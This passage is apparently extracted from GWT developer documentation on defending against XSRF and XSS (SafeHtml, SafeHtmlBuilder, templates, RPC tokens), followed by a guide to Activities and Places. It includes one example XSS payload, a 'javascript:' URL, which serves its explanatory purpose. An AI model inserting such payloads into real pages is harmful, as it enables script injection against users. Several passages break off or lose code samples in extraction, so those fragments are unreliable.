If you are using GWT's RPC mechanism, the solution is unfortunately not quite as clean. However, there are still several ways you can accomplish it. For instance, you can add an argument to each method in your RemoteService interface that contains a String. That is, if you wanted this interface:
public interface MyInterface extends RemoteService { public boolean doSomething(); public void doSomethingElse(String arg); }
you
would
pass
in
the
current
cookie
value
that
you
fetch
using
If you prefer not to mark up your RemoteService interfaces in this way, you can do other things instead. You might modify your data-transfer objects to have a field name containing the cookieValue, and set that value whenever you create them. Perhaps the simplest solution is to simply add the cookie value to your URL as a GET parameter. The important thing is to get the cookie value up to the server, somehow. In all of these cases, of course, you'll have to have your server-side code compare the duplicate value with the actual cookie value and ensure that they're the same. The GWT team is also considering enhancing the RPC system to make it easier to prevent XSRF attacks. Again though, that will only appear in a future version, and for now you should take precautions on your own.
The client code is then expected to strip the comment characters prior to passing the string to the eval function. The primary effect of this is that it prevents your JSON data from being stolen via a <script> tag. If you normally expect your server to export JSON data in response to a direct XMLHTTPRequest, this technique would prevent attackers from executing an XSRF attack against your server and stealing the response data via one of the attacks linked to earlier. If you only intend your JSON data to be returned via an XMLHTTPRequest, wrapping the data in a block comment prevents someone from stealing it via a <script> tag. If you are using JSON as the data format exposed by your own services and don't intend servers in other domains to use it, then there is no reason not to use this technique. It might 281 / 469
keep your data safe even in the event that an attacker manages to forge a cookie.
Conclusion
Web 2.0 can be a scary place. Hopefully we've given you some food for thought and a few techniques you can implement to keep your users safe. Mostly, though, we hope we've instilled a good healthy dose of paranoia in you. If Benjamin Franklin were alive today, he might add a new "certainty" to his famous list: death, taxes... and people trying to crack your site. The only thing we can be sure of is that there will be other exploits in the future, so paranoia will serve you well over time. As a final note, we'd like to stress one more time the importance of staying vigilant. This article is not an exhaustive list of the security threats to your application. This is just a primer, and someday it could become out of date. There may also be other attacks which we're simply unaware of. While we hope you found this information useful, the most important thing you can do for your users' security is to keep learning, and stay as well-informed as you can about security threats. As always, if you have any feedback for us or would like to discuss this issue now or in the future please visit our GWT Developer Forum.
4.6.2.
Cross-Site-Scripting (XSS) vulnerabilities are a class of web application security bugs that allow an attacker to execute arbitrary malicious JavaScript in the context of a victim's browser session. In turn, such malicious script can for example steal the user's session credentials (resulting in hijacking and full compromise of the user's session), extract and leak sensitive or confidential data from the victim's account, or execute transactions chosen by the attacker in the name of the victim. In GWT applications, many aspects of a web-application's UI are expressed in terms of abstractions (such as Widgets) that do not expose a potential for untrusted data to be interpreted as HTML markup or script. As such, GWT apps are inherently less prone to XSS vulnerabilities than applications built on top of frameworks where UI is rendered directly as HTML (such as server-side templating systems, with the exception of templating systems that automatically escape template variables according to the HTML context the variable appears in). However, GWT applications are not inherently safe from XSS vulnerabilities. A large class of potential XSS vulnerabilities in GWT applications arises from the use of methods that cause the browser to evaluate their argument as HTML, for example, setInnerHTML(String), setHTML(String), as well as the constructors of HTML-containing widgets such as HTML. If an application passes a string to such a method where the string is even partially derived from untrusted input, the application is vulnerable to XSS. In this context, untrusted input includes immediate user input, data the client app has received from the server and which may have been provided to the server by a different, malicious user, as well as values obtained from a history token read from a URL fragment. This document introduces a new security package and accompanying coding guidelines that help developers avoid this class of XSS vulnerabilities, while minimizing overhead in run-time and development effort. A primary goal of the coding guidelines is to facilitate high-confidence code-reviews of applications for the absence of this class of XSS bugs. Note that this document does not address other classes of XSS vulnerabilities that GWT applications may be vulnerable
282 / 469
to, such as server-side XSS, as well as other classes of client-side XSS (for example, calling eval() on an untrusted string in native JavaScript.) 1. Coding Guidelines 2. Coding Guidelines for Developers of Widget Client Code 1. Prefer Plain-Text Widgets 2. Use UiBinder for Declarative Layout 3. Use the SafeHtml Type to Represent XSS-Safe HTML 4. Creating SafeHtml Values 3. Coding Guidelines for Widget Developers 1. Provide SafeHtml Methods and Constructors 2. "Unwrap" SafeHtml Close to the Value's Use 4. Caveats and Limitations
4.6.2.1.
Coding Guidelines
The goals of these guidelines are two-fold: 1. A GWT application whose code-base these guidelines have been consistently and comprehensively applied to should be free of the class of XSS vulnerabilities due to attacker-controlled strings being evaluated as HTML in the browser. 2. The code should be structured such that it is easily reviewable for absence of this class of XSS -- for each use of a potentially XSS-prone method such as Element.setInnerHTML it should be "obvious" that this use can't result in an XSS vulnerability. The second goal is based on the desire to achieve a high degree of confidence in the absence of this class of bugs. When reviewing code, it is often difficult and error-prone to determine whether or not a value passed to some method may be controlled by an attacker, especially if the value is received via a long chain of assignments and method calls. Hence, the central idea behind these guidelines is to use a type to encapsulate strings that are safe to use in HTML context, construct safe HTML into instances of this type, and use this type to "transport" strings as close as possible to a code site where they are used as HTML. Such a use is then easily apparent to be free of XSS vulnerabilities, given the type's contract (as well as Java's type-safety) as an assumption.
4.6.2.2.
The following guidelines are aimed at developers of client-code that uses existing widget libraries, in particular the core widget library that is distributed with GWT.
or
widget.setHTML(someText);
In the first example, it's obvious that the value passed to the HTML constructor cannot result in an XSS vulnerability: The value doesn't contain HTML markup, and furthermore is a compile-time constant and hence cannot possibly be manipulated by an attacker. In the second example, it may be obvious to a reviewer that the call is safe if the variable someText is assigned to "nearby" in the code; however if the supplied value is passed in via a parameter through a few layers of method calls this is much less obvious. Also, such a scenario may well result in a bug in a future code iteration if calling code is changed by a developer who doesn't realize that the value will be used in an HTML context. In such situations, it is preferred to use the non-HTML equivalent, that is, the Label widget and the setText method, respectively, both of which are always safe from XSS even if the string passed to the Label constructor or the setText method is under the control of an attacker. Similarly, use setInnerText instead of setInnerHTML on DOM elements.
283 / 469
as safe alternatives to setHTML(String) and setHTML(String,Direction). For example, the HTML widget has been augmented with the following constructors and methods:
public class HTML extends Label implements HasDirectionalHtml, HasDirectionalSafeHtml { // ... public HTML(SafeHtml html); public HTML(SafeHtml html, Direction dir); @Override public void setHTML(SafeHtml html); @Override public void setHTML(SafeHtml html, Direction dir); }
A central aspect of these coding guidelines is that developers of GWT applications should not use constructors and methods with String-typed parameters whose values are interpreted as HTML, and instead use the SafeHtml equivalent.
Each of the above mechanisms has been carefully reviewed with respect to adherence to the SafeHtml type contract.
SafeHtmlBuilder
In many scenarios, the strings that will be used in an HTML context are concatenated partially from trusted strings (for example, snippets of HTML markup defined within the application's source) and untrusted strings that may be under the control of a potential attacker. The SafeHtmlBuilder class provides a builder interface that supports this use-case while ensuring that the untrusted parts of the string are appropriately escaped. Consider this usage example:
public void showItems(List<String> items) { SafeHtmlBuilder builder = new SafeHtmlBuilder(); for (String item : items) { builder.appendEscaped(item).appendHtmlConstant("<br/>"); } itemsListHtml.setHTML(builder.toSafeHtml()); }
SafeHtmlBuilder's appendHtmlConstant method is used to append a constant snippet of HTML to the builder, without escaping the argument. The appendEscaped method in contrast will HTML-escape its string argument before appending. To allow SafeHtmlBuilder to adhere to the SafeHtml contract, code using it must in turn adhere to the following rules: 1. The argument of appendHtmlConstant must be a string literal (or, more generally, must be fully determined at compile time). 2. The string provided must not end within an HTML tag. For example, the following use would be illegal because the argument of the first appendHtmlConstant contains an incomplete <a> tag; the string ends in the context of the value of the href attribute of that tag:
builder.appendHtmlConstant("<a href='").appendEscaped(url).appendHtmlConstant("'>")
The first rule is necessary to ensure that strings passed to appendHtmlConstant cannot possibly be under the control of an attacker. The second rule is necessary because untrusted strings used inside an HTML tag attribute can result in script execution even if they are HTML-escaped. In the above example, script execution could occur if the value of url is javascript:evil_js_code(). When executing client-side in hosted mode, or server-side with assertions enabled, appendHtmlConstant parses its argument and checks that it satisfies the second constraint. For performance reasons, this check is not performed in production mode in client code, and with assertions disabled on the server. SafeHtmlBuilder also provides the append(SafeHtml) method. The contents of the provided SafeHtml will be appended to the builder without prior escaping (due to the SafeHtml contract, it can be assumed to be HTML-safe). This method allows HTML snippets wrapped as SafeHtml to be composed into larger SafeHtml snippets.
285 / 469
public class MyWidget ... { // ... public interface MyTemplates extends SafeHtmlTemplates { @Template("<span class=\"{3}\">{0}: <a href=\"{1}\">{2}</a></span>") SafeHtml messageWithLink(SafeHtml message, String url, String linkText, String style); } private static final MyTemplates TEMPLATES = GWT.create(MyTemplates.class); public void useTemplate(...) { SafeHtml message; String url; String linkText; String style; // ... InlineHTML messageWithLinkInlineHTML = new InlineHTML( TEMPLATES.messageWithLink(message, url, linkText, style)); // ... }
Instantiating a SafeHtmlTemplates interface with GWT.create() returns an instance of an implementation that is generated at compile time. The code generator parses the value of each template method's @Template annotation as an (X)HTML template, with template variables denoted by curly-brace placeholders that refer by index to the corresponding template method parameter. All methods in SafeHtmlTemplates interfaces must have a return type of SafeHtml. The compile-time generated implementations of such methods are constructed such that they return instances of SafeHtml that indeed honor the SafeHtml type contract. The code generator accomplishes this guarantee by a combination of compile-time checks and run-time checks in the generated code (see however the note below with regards to a limitation of the current implementation): The template is parsed with a lenient HTML stream parser that accepts HTML similar to what would typically be accepted by a web browser. The parser does not require that templates consist of balanced HTML tags. However, the parser and template code generator enforce the following constraints on input templates: Template parameters may not appear in HTML comments, parameters may not appear in a Javascript context (e.g., inside a <script> tag, or in an onclick handler), parameters in HTML attributes can only appear in the value and must be enclosed in quotes (e.g., <tag attribute="{0}"> would be allowed, <tag {0} attribute={1}> would not), and the template cannot end inside a tag or inside an attribute. For example, the following is not a valid template:
<span><{0} class="xyz" {1}="..."/></span>
The generated code passes actual template parameters through appropriate sanitizer and escaping methods depending on the HTML context that the template parameter appears in and the declared type of the corresponding template method parameter, as described below.
Limitation: The current implementation of the parser cannot guarantee the SafeHtml contract for templates with template variables in a CSS context (that is, within a style attribute or tag). When the parser encounters encounters a template with a variable in a style attribute or tag (e.g., <div style="{0}">), a warning will be emitted. Developers are advised to carefully review these cases to ensure that parameters passed to the template are from a trusted source or suitably sanitized.
Template Processing The choice of escaping and/or sanitization applied to template parameters is made according to the following rules: Parameters in inner HTML context Parameters appearing in plain inner HTML context (for example, parameter {0} and {2} in the MyWidget example) are processed as follows: If the declared type of the corresponding template method parameter is SafeHtml (for example, parameter message in the MyWidget example), the parameter's actual value is emitted without further validation or escaping. 286 / 469
If the declared type is String (for example, parameter linkText in the example), the parameter's actual value is HTML-escaped at run-time before being emitted. If the declared type is a primitive type (for example, a numeric or Boolean type), the value is converted to String and emitted, but not passed through an escape method because the String representation of primitive types is always free of HTML special characters. If the declared type is any other type, the parameter's value is first converted to String and then HTML escaped.
Parameters in attribute context Parameters appearing in an attribute context (for example, {1} and {3} in the example) are treated as follows: If the declared type of the corresponding template method parameter is not String, the parameter's value is first converted to String. The parameter is then HTML-escaped before it is emitted.
Note that parameters with a declared type of SafeHtml are not treated specially if they occur in an attribute context (that is, such parameters will not skip escaping). This is because SafeHtml strings can contain non-escaped HTML special characters (as long as such HTML markup is safe); however no non-escaped HTML special characters are allowed within an attribute's value. Parameters in URI-valued attribute context Parameters that appear at the start of a URI-valued attribute such as src or href, for example parameter {1} but not {3} in the example, are treated specially: Before HTML escaping, the parameter's value is sanitized to ensure it is safe to use as the value of a URIvalued HTML attribute. This sanitization is performed as follows (see UriUtils.sanitizeUri(String)): URIs that don't have a scheme are considered safe and are used as is. URIs whose scheme equals one of http, https, ftp, mailto are considered safe and are used as is. Any other URI is considered unsafe and discarded; instead the "void" URI "#" is inserted into the template.
Limitation: There is no escaping mechanism for the parameter syntax. For example, it is impossible to write a template that results in a literal output containing a substring of the form {0}.
Convenience Methods
The SafeHtmlUtils class provides a number of convenience methods to create SafeHtml values from strings: SafeHtmlUtils.fromString(String s) HTML-escapes its argument and returns the result wrapped as a SafeHtml. SafeHtmlUtils.fromSafeConstant(String s) Returns a compile-time constant string wrapped as a SafeHtml, without escaping the value. To allow fromSafeConstant to adhere to the SafeHtml contract, code using it must in turn adhere to the same constraints that apply to SafeHtmlBuilder.appendHtmlConstant: 1. The argument of fromSafeConstant must be a string literal (or, more generally, must be fully determined at compile time). 2. The string provided must not end within an HTML tag. For example, the following use would be illegal because the value passed to fromSafeConstant contains an incomplete <a> tag; the string ends in the context of the value of the href attribute of that tag:
SafeHtml safeHtml = SafeHtmlUtils.fromSafeConstant("<a href='");
SafeHtmlUtils.fromTrustedString(String s) Returns its argument as a SafeHtml, without performing any form of validation or escaping. It is the 287 / 469
developer's responsibility to ensure that values passed to this method adhere to the SafeHtml contract. Use of this method is strongly discouraged; it is intended to only be used in scenarios where existing code produces values that are known to satisfy the SafeHtml type contract, but such code cannot be easily refactored to itself produce SafeHtml-typed values.
SimpleHtmlSanitizer
SimpleHtmlSanitizer produces instances of SafeHtml from input strings by applying a simple sanitization algorithm at run-time. It is intended for scenarios where code receives strings containing simple HTML markup, for example, from a server-side backend. An example might be search snippets with query terms marked by <b> tags, as in "<b>Flowers</b>, roses, plants & gift baskets delivered. Order <b>flowers</b> from ...". A GWT application that needs to render such strings can't simply HTML-escape them, since they do contain legitimate HTML. At the same time, the developer of the application might not want to rely on the backend that produced the snippets to be entirely bug free, and to never produce strings that may contain third-party controlled and potentially malicious HTML markup. Instead, such strings can be wrapped as a SafeHtml by passing them through SimpleHtmlSanitizer, for example:
SafeHtml snippetHtml = SimpleHtmlSanitizer.sanitizeHtml(snippet);
SimpleHtmlSanitizer uses a simple sanitization algorithm that accepts the following markup: A white-list of basic HTML tags without attributes, including <b>, <em>, <i>, <h1>, ..., <h5>, <hr>, <ul>, <ol>, <li> and the corresponding end tags. HTML entities and entity references, such as ', /, &, ", etc.
HTML markup in this subset will not be escaped; HTML meta-characters that are not part of a sub-string in the above set will be escaped. For example, the string:
foo < bar & that is <em>good</em>, <span style="foo: bar">...
Note that SimpleHtmlSanitizer does not make any guarantees that the resulting HTML will be well-formed, and that, for example, all remaining tags in the HTML are balanced. The result of sanitization is returned as a SafeHtml and can be appended to a SafeHtmlBuilder without getting escaped.
4.6.2.3.
Developers of widgets (or other library components) should consider the HTML safety of the widget under development. If possible, widgets should be designed and implemented such that their use cannot result in XSS vulnerabilities under any circumstance. If doing so is not possible, the widget should be designed and implemented such that it is straightforward and natural for developers of client code to use it safely, and furthermore such that it is straightforward for a code reviewer to determine if a given use of the widget is safe. For example, a given instantiation of GWT's HTML widget cannot result in an XSS vulnerability as long as its use does not involve calls to the HTML(String) and related constructors, or the HTML.setHTML(String) or HTML.setHTML(String,Direction) methods. Code that uses the equivalent SafeHtml constructors and methods is always safe.
Widgets that are composed of other widgets should not unwrap SafeHtml values when initializing sub-widgets, and instead pass the SafeHtml to the sub-widget. For example, write:
public class MyPanel extends HorizontalPanel { InlineHTML messageWidget; SafeHtml currentMessage; public void setMessage(SafeHtml newMessage) { currentMessage = newMessage; updateUi(); } private void updateUi() { messageWidget.setHTML(currentMessage); } }
instead of:
public class MyPanel extends HorizontalPanel { InlineHTML messageWidget; String currentMessage; public void setMessage(SafeHtml newMessage) { currentMessage = newMessage.asString(); updateUi(); } private void updateUi() { // Potentially unsafe call to setHTML(String) messageWidget.setHTML(currentMessage); } }
While both implementations provide a safe external interface, the second implementation is not as obviously free from XSS vulnerabilities as the first: It involves a call to setHTML(String) that is not inherently safe. The value passed to setHTML(String) is obtained from a field. To determine if this widget is free from XSS vulnerabilities, a code reviewer would have to inspect every assignment to the field and verify that it can only be assigned safe HTML. In a trivial example as the above this is quite straightforward, but in more complex, real-world code this a potentially time consuming and error prone process.
4.6.2.4.
Comprehensive and consistent use of SafeHtml during development of a GWT application can substantially reduce the incidence of XSS vulnerabilities in that application. However, it does not guarantee the absence of XSS vulnerabilities. XSS vulnerabilities may be present in such an application for a number of reasons, including the following: There may be a bug in code that creates SafeHtml values that causes it to sometimes produce values that violate the type contract. If such a value is used as HTML (for instance, assigned to a DOM element's innerHTML property), an XSS vulnerability may be present. Application code may be incorrectly using SafeHtmlBuilder.appendHtmlConstant or SafeHtmlUtils.fromSafeConstant. For example, if one of these methods is passed a value that is not program-controlled as required, but rather is derived from an external input, an XSS vulnerability may be present. Application code may be incorrectly using SafeHtmlUtils.fromTrustedString. If this method is used to SafeHtml-wrap a value that is based on third-party inputs and is not strictly guaranteed to adhere to the SafeHtml type contract, an XSS vulnerability may arise. 289 / 469
Application code may have XSS bugs that are not due the use of external inputs in HTML contexts, and are beyond the scope of the SafeHtml library and guidelines.
4.6.3.
Cross-Site Request Forgery (XSRF or CSRF) is a type of web attack where an attacker can perform actions on behalf of an authenticated user without user's knowledge. Typically, it involves crafting a malicious HTML page, which, once visited by a victim, will cause the victim's browser to issue an attacker-controlled request to a third-party domain. If the victim is authenticated to the third-party domain, the request will be sent with the browser's cookies for that domain, and could potentially trigger an undesirable action on behalf of the victim and without victim's consent - for example, delete or modify a blog or add a mail forward rule. This document explains how developers can protect GWT RPCs against XSRF attacking using GWT's builtin XSRF protection introduced in GWT 2.3 1. Overview 2. Server-side changes 3. Client-side changes
4.6.3.1.
Overview
RPC XSRF protection is built using RpcToken feature, which lets a developer set a token on a RPC endpoint using HasRpcToken interface and have that token included with each RPC call made via that endpoint. Default XSRF protection implementation derives XSRF token from a session authentication cookie by generating an MD5 hash of the session cookie value and using the resulting hash as XSRF token. This stateless XSRF protection implementation relies on the fact that attacker doesn't have access to the session cookie and thus is unable to generate valid XSRF token.
4.6.3.2.
Server-side changes
Configure XsrfTokenServiceServlet
Client-side code will obtain XSRF tokens by calling XsrfTokenService.getNewXsrfToken() server-side implementation configured in web.xml:
<servlet> <servlet-name>xsrf</servlet-name> <servlet-class> com.google.gwt.user.server.rpc.XsrfTokenServiceServlet </servlet-class> </servlet> <servlet-mapping> <servlet-name>xsrf</servlet-name> <url-pattern>/gwt/xsrf</url-pattern> </servlet-mapping>
Since XSRF token is tied to an authentication session cookie, the name of that cookie must be passed to the XsrfTokenServiceServlet as well as all XSRF-protected RPC service servlets. This is done via context parameter in web.xml:
<context-param> <param-name>gwt.xsrf.session_cookie_name</param-name> <param-value>JSESSIONID</param-value> </context-param>
Note: Servlet initialization parameter (<init-param>) can also be used to pass the name of the session cookie to each servlet individually.
290 / 469
4.6.3.3.
Client-side changes
by explicitly annotating interface or methods with @XsrfProtect annotation. @NoXsrfProtect annotation can be used to disable XSRF protection on a method or service to disable XSRF protection:
package com.example.foo.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.server.rpc.XsrfProtect @XsrfProtect public interface MyService extends RemoteService { public String myMethod(String s); }
Method level annotations override RPC interface level annoatations. If no annotations are present and the RPC interface contains a method that returns RpcToken or its implementation, then XSRF token validation is performed on all methods of that interface except for the method returning RpcToken. Tip: To specify which RpcToken implementation GWT should generate serializers for use @RpcTokenImplementation annotation.
291 / 469
XsrfTokenServiceAsync xsrf = (XsrfTokenServiceAsync)GWT.create(XsrfTokenService.class); ((ServiceDefTarget)xsrf).setServiceEntryPoint(GWT.getModuleBaseURL() + "xsrf"); xsrf.getNewXsrfToken(new AsyncCallback<XsrfToken>() { public void onSuccess(XsrfToken token) { MyServiceAsync rpc = (MyServiceAsync)GWT.create(MyService.class); ((HasRpcToken) rpc).setRpcToken(token); // make XSRF protected RPC call rpc.doStuff(new AsyncCallback<Void>() { // ... }); } public void onFailure(Throwable caught) { try { throw caught; } catch (RpcTokenException e) { // Can be thrown for several reasons: // - duplicate session cookie, which may be a sign of a cookie // overwrite attack // - XSRF token cannot be generated because session cookie isn't // present } catch (Throwable e) { // unexpected } });
Tip: If you would like to register a special handler for exceptions generated during XsrfToken validation use HasRpcToken.setRpcTokenExceptionHandler()
292 / 469
4.7.
GWT 2.1 introduced a built-in framework for browser history management. The Activities and Places framework allows you to create bookmarkable URLs within your application, thus allowing the browser's back button and bookmarks to work as users expect. It builds on GWT's history mechanism and may be used in conjunction with MVP development, though not required. Strictly speaking, MVP architecture is not concerned with browser history management, but Activities and Places may be used with MVP development as shown in this article. If you're not familiar with MVP, you may want to read these articles first: Large scale application development and MVP, Part I Large scale application development and MVP, Part II
Definitions An activity simply represents something the user is doing. An Activity contains no Widgets or UI code. Activities typically restore state ("wake up"), perform initialization ("set up"), and load a corresponding UI ("show up"). Activities are started and stopped by an ActivityManager associated with a container Widget. An Activity can automatically display a warning confirmation when the Activity is about to be stopped (such as when the user navigates to a new Place). In addition, the ActivityManager warns the user before the window is about to be closed. A place is a Java object representing a particular state of the UI. A Place can be converted to and from a URL history token (see GWT's History mechanism) by defining a PlaceTokenizer for each Place, and GWT's PlaceHistoryHandler automatically updates the browser URL corresponding to each Place in your app. You can download all of the code referenced here in this sample app. The sample app is a simple "Hello, World!" example demonstrating the use of Activities and Places with MVP. Let's take a look at each of the moving parts in a GWT 2.1 app using Places and Activities. 1. 2. 3. 4. 5. 6. Views ClientFactory Activities Places PlaceHistoryMapper ActivityMapper
Then we'll take at how you wire it all together and how it works. 1. 2. 3. 4. Putting it all together How it all works How to navigate Related resources
4.7.1.
Views
A view is simply the part of the UI associated with an Activity. In MVP development, a view is defined by an interface, which allows multiple view implementations based on client characteristics (such as mobile vs. desktop) and also facilitates lightweight unit testing by avoiding the time-consuming GWTTestCase. There is no View interface or class in GWT which views must implement or extend; however, GWT 2.1 introduces an IsWidget interface that is implemented by most Widgets as well as Composite. It is useful for views to extend IsWidget if they do in fact provide a Widget. Here is a simple view from our sample app.
public interface GoodbyeView extends IsWidget { void setName(String goodbyeName); }
The corresponding view implementation extends Composite, which keeps dependencies on a particular Widget from leaking out.
293 / 469
public class GoodbyeViewImpl extends Composite implements GoodbyeView { SimplePanel viewPanel = new SimplePanel(); Element nameSpan = DOM.createSpan(); public GoodbyeViewImpl() { viewPanel.getElement().appendChild(nameSpan); initWidget(viewPanel); } @Override public void setName(String name) { nameSpan.setInnerText("Good-bye, " + name); } }
Here is a slightly more complicated view that additionally defines an interface for its corresponding presenter (activity).
public interface HelloView extends IsWidget { void setName(String helloName); void setPresenter(Presenter presenter); public interface Presenter { void goTo(Place place); } }
The Presenter interface and setPresenter method allow for bi-directional communication between view and presenter, which simplifies interactions involving repeating Widgets and also allows view implementations to use UiBinder with @UiHandler methods that delegate to the presenter interface. The HelloView implementation uses UiBinder and a template.
public class HelloViewImpl extends Composite implements HelloView { private static HelloViewImplUiBinder uiBinder = GWT .create(HelloViewImplUiBinder.class); interface HelloViewImplUiBinder extends UiBinder { } @UiField SpanElement nameSpan; @UiField Anchor goodbyeLink; private Presenter presenter; private String name; public HelloViewImpl() { initWidget(uiBinder.createAndBindUi(this)); } @Override public void setName(String name) { this.name = name; nameSpan.setInnerText(name); } @UiHandler("goodbyeLink") void onClickGoodbye(ClickEvent e) { presenter.goTo(new GoodbyePlace(name)); } @Override public void setPresenter(Presenter presenter) { this.presenter = presenter; } }
Note the use of @UiHandler that delegates to the presenter. Here is the corresponding template:
294 / 469
<!DOCTYPE ui:UiBinder SYSTEM "http://dl.google.com/gwt/DTD/xhtml.ent"> <ui:UiBinder xmlns:ui="urn:ui:com.google.gwt.uibinder" xmlns:g="urn:import:com.google.gwt.user.client.ui"> <ui:style> .important { font-weight: bold; } </ui:style> <g:HTMLPanel> Hello, <span class="{style.important}" ui:field="nameSpan" /> <g:Anchor ui:field="goodbyeLink" text="Say good-bye"></g:Anchor> </g:HTMLPanel> </ui:UiBinder>
Because Widget creation involves DOM operations, views are relatively expensive to create. It is therefore good practice to make them reusable, and a relatively easy way to do this is via a view factory, which might be part of a larger ClientFactory.
4.7.2.
ClientFactory
A ClientFactory is not required to use Activities and Places; however, it is helpful to use a factory or dependency injection framework like GIN to obtain references to objects needed throughout your application like the event bus. Our example uses a ClientFactory to provide an EventBus, GWT PlaceController, and view implementations.
public interface ClientFactory { EventBus getEventBus(); PlaceController getPlaceController(); HelloView getHelloView(); GoodbyeView getGoodbyeView(); }
Another advantage of using a ClientFactory is that you can use it with GWT deferred binding to use different implementation classes based on user.agent or other properties. For example, you might use a MobileClientFactory to provide different view implementations than the default DesktopClientFactory. To do this, instantiate your ClientFactory with GWT.create in onModuleLoad(), like this:
ClientFactory clientFactory = GWT.create(ClientFactory.class);
You can use <when-property-is> to specify different implementations based on user.agent, locale, or other properties you define. The mobilewebapp sample application defines a "formfactor" property used to select a different view implementations for mobile, tablet, and desktop devices. Here is a default implementation of ClientFactory for the sample app:
public class ClientFactoryImpl implements ClientFactory { private final EventBus eventBus = new SimpleEventBus(); private final PlaceController placeController = new PlaceController(eventBus); private final HelloView helloView = new HelloViewImpl(); private final GoodbyeView goodbyeView = new GoodbyeViewImpl(); @Override public EventBus getEventBus() { return eventBus; } ... }
295 / 469
4.7.3.
Activities
Activity classes implement com.google.gwt.activity.shared.Activity. For convenience, you can extend AbstractActivity, which provides default (null) implementations of all required methods. Here is a HelloActivity, which simply says hello to a named user:
public class HelloActivity extends AbstractActivity implements HelloView.Presenter { // Used to obtain views, eventBus, placeController // Alternatively, could be injected via GIN private ClientFactory clientFactory; // Name that will be appended to "Hello," private String name; public HelloActivity(HelloPlace place, ClientFactory clientFactory) { this.name = place.getHelloName(); this.clientFactory = clientFactory; } /** * Invoked by the ActivityManager to start a new Activity */ @Override public void start(AcceptsOneWidget containerWidget, EventBus eventBus) { HelloView helloView = clientFactory.getHelloView(); helloView.setName(name); helloView.setPresenter(this); containerWidget.setWidget(helloView.asWidget()); } /** * Ask user before stopping this activity */ @Override public String mayStop() { return "Please hold on. This activity is stopping."; } /** * Navigate to a new Place in the browser */ public void goTo(Place place) { clientFactory.getPlaceController().goTo(place); } }
The first thing to notice is that HelloActivity makes reference to HelloView, which is a view interface, not an implementation. One style of MVP coding defines the view interface in the presenter. This is perfectly legitimate; however, there is no fundamental reason why an Activity and it's corresponding view interface have to be tightly bound together. Note that HelloActivity also implements the view's Presenter interface. This is used to allow the view to call methods on the Activity, which facilitates the use of UiBinder as we saw above. The HelloActivity constructor takes two arguments: a HelloPlace and the ClientFactory. Neither is strictly required for an Activity. The HelloPlace simply makes it easy for HelloActivity to obtain properties of the state represented by HelloPlace (in this case, the name of the user we are greeting). Accepting an instance of a HelloPlace in the constructor implies that a new HelloActivity will be created for each HelloPlace. You could instead obtain an activity from a factory, but it's typically cleaner to use a newly constructed Activity so you don't have to clean up any prior state. Activities are designed to be disposable, whereas views, which are more expensive to create due to the DOM calls required, should be reusable. In keeping with this idea, ClientFactory is used by HelloActivity to obtain a reference to the HelloView as well as the EventBus and PlaceController. The start method is invoked by the ActivityManager and sets things in motion. It updates the view and then swaps the view back into the Activity's container widget by calling setWidget. The non-null mayStop() method provides a warning that will be shown to the user when the Activity is about to be stopped due to window closing or navigation to another Place. If it returns null, no such warning will be shown. Finally, the goTo() method invokes the PlaceController to navigate to a new Place. PlaceController in turn notifies the ActivityManager to stop the current Activity, find and start the Activity associated with the new Place, and update the URL in PlaceHistoryHandler.
296 / 469
4.7.4.
Places
In order to be accessible via a URL, an Activity needs a corresponding Place. A Place extends com.google.gwt.place.shared.Place and must have an associated PlaceTokenizer which knows how to serialize the Place's state to a URL token. By default, the URL consists of the Place's simple class name (like "HelloPlace") followed by a colon (:) and the token returned by the PlaceTokenizer.
public class HelloPlace extends Place { private String helloName; public HelloPlace(String token) { this.helloName = token; } public String getHelloName() { return helloName; } public static class Tokenizer implements PlaceTokenizer<HelloPlace> { @Override public String getToken(HelloPlace place) { return place.getHelloName(); } @Override public HelloPlace getPlace(String token) { return new HelloPlace(token); } } }
It is convenient (though not required) to declare the PlaceTokenizer as a static class inside the corresponding Place. However, you need not have a PlaceTokenizer for each Place. Many Places in your app might not save any state to the URL, so they could just extend a BasicPlace which declares a PlaceTokenizer that returns a null token.
4.7.5.
PlaceHistoryMapper
PlaceHistoryMapper declares all the Places available in your app. You create an interface that extends PlaceHistoryMapper and uses the annotation @WithTokenizers to list each of your tokenizer classes. Here is the PlaceHistoryMapper in our sample:
@WithTokenizers({HelloPlace.Tokenizer.class, GoodbyePlace.Tokenizer.class}) public interface AppPlaceHistoryMapper extends PlaceHistoryMapper { }
At GWT compile time, GWT generates (see PlaceHistoryMapperGenerator) a class based on your interface that extends AbstractPlaceHistoryMapper. PlaceHistoryMapper is the link between your PlaceTokenizers and GWT's PlaceHistoryHandler that synchronizes the browser URL with each Place. For more control of the PlaceHistoryMapper, you can use the @Prefix annotation on a PlaceTokenizer to change the first part of the URL associated with the Place. For even more control, you can instead implement PlaceHistoryMapperWithFactory and provide a TokenizerFactory that, in turn, provides individual PlaceTokenizers.
4.7.6.
ActivityMapper
Finally, your app's ActivityMapper maps each Place to its corresponding Activity. It must implement ActivityMapper, and will likely have lots of code like "if (place instanceof SomePlace) return new SomeActivity(place)". Here is the ActivityMapper for our sample app:
297 / 469
public class AppActivityMapper implements ActivityMapper { private ClientFactory clientFactory; public AppActivityMapper(ClientFactory clientFactory) { super(); this.clientFactory = clientFactory; } @Override public Activity getActivity(Place place) { if (place instanceof HelloPlace) return new HelloActivity((HelloPlace) place, clientFactory); else if (place instanceof GoodbyePlace) return new GoodbyeActivity((GoodbyePlace) place, clientFactory); return null; } }
Note that our ActivityMapper must know about the ClientFactory so it can provide it to activities as needed.
4.7.7.
4.7.8.
The ActivityManager keeps track of all Activities running within the context of one container widget. It listens for PlaceChangeRequestEvents and notifies the current activity when a new Place has been requested. If the current Activity allows the Place change (Activity.onMayStop() returns null) or the user allows it (by clicking OK in the confirmation dialog), the ActivityManager discards the current Activity and starts the new one. In order to find the new one, it uses your app's ActivityMapper to obtain the Activity associated with the requested Place. Along with the ActivityManager, two other GWT classes work to keep track of Places in your app. PlaceController initiates navigation to a new Place and is responsible for warning the user before doing so. PlaceHistoryHandler provides bidirectional mapping between Places and the URL. Whenever your app navigates to a new Place, the URL will be updated with the new token representing the Place so it can be bookmarked and saved in browser history. Likewise, when the user clicks the back button or pulls up a bookmark, PlaceHistoryHandler ensures that your application loads the corresponding Place.
4.7.9.
How to navigate
